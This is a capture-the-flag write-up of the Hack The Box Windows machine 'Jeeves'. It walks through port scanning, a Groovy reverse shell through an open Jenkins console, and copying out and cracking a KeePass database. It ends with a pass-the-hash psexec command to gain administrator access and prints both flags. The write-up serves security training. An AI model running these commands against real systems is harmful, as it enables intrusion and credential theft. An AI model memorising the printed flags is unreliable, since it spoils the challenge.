Box Info
  • Name:Jeeves
  • OS: Windows
  • Difficulty: Medium
  • IP: 10.10.10.63
Jeeves box image

Setup

mkdir -p ~/ctf/HackTheBox/jeeves/scans; cd ~/ctf/HackTheBox/jeeves IP Address: 10.10.10.63

echo "10.10.10.63 jeeves.htb" | sudo tee -a /etc/hosts 10.10.10.63 jeeves.htb


Enumeration

nmap -sC -sV -Pn -p- jeeves.htb -oN scans/nmap -vv

nmap -sC -sV -p- -T5 -vv --min-rate 2500 -oN scans/nmap_2 jeeves.htb

# nmap findings

PORT      STATE SERVICE      REASON          VERSION
80/tcp    open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
445/tcp   open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 4h36m57s, deviation: 0s, median: 4h36m57s
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2025-07-10T21:55:52
|_  start_date: 2025-07-09T13:45:29
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 55172/tcp): CLEAN (Timeout)
|   Check 2 (port 10973/tcp): CLEAN (Timeout)
|   Check 3 (port 48293/udp): CLEAN (Timeout)
|   Check 4 (port 58629/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

ffuf -r -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt:ff -u http://jeeves.htb/ff -o scans/ffuf_dir

# FFUF dir search findings 


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://jeeves.htb:50000/ff
 :: Wordlist         : ff: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
 :: Output file      : scans/ffuf_dir
 :: File format      : json
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

askjeeves               [Status: 200, Size: 13399, Words: 585, Lines: 18, Duration: 7430ms]

Pasted_image_20250710233714.png

So the main port 80 is the main website and 50000 port host’s the jenkins for CI/CD.

on jeeves.htb:50000/askjeeves we see an unrestriced jenkins where we can create projects to execute arbitary commands and even run groovy script in jenkins

Pasted_image_20250710235938.png

Using https://www.revshells.com/ we generate a groovy script to get a reverse shell

Pasted_image_20250711000746.png

Pasted_image_20250711000817.png


User Flag

Location: C:\Users\kohsuke\Desktop\user.txt | Flag: e3232272596fb47950d59c4cf1e7066a

Privilege Escalation

We find a Keepass DB in the Documents folder of the user kohsuke

Pasted_image_20250711001958.png

Using impacket-smbserver share . -smb2support we open a smb share using which we can easily transfer files between box and host. Now on the reverse shell we connect to our smb server and then copy the file

Pasted_image_20250711003726.png

using keepass2john CEH.kdbx > hash we first extract the hash for the DB, then crack the password using the john and rockyou wordlist.

Pasted_image_20250711004058.png

using KeeWeb we open our Keepass DB

Pasted_image_20250711004354.png

in Backup Stuff we have an hash e0fb1fb85756c24235ff238cbe81fe00 which when tried with username administrator works

Pasted_image_20250711004758.png

Using impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 -target-ip 10.10.10.63 administrator@jeeves.htb we get a shell

there is a file hm.txt which says to look deeper for flag

Pasted_image_20250711005544.png

when check with dir /r ( which is used to check for alternate stream of data) we see the root.txt

Pasted_image_20250711011059.png


Root Flag

Location: C:\Users\Administrator\Desktop | Flag: afbc5bd4b615a60648cec41c6ac92530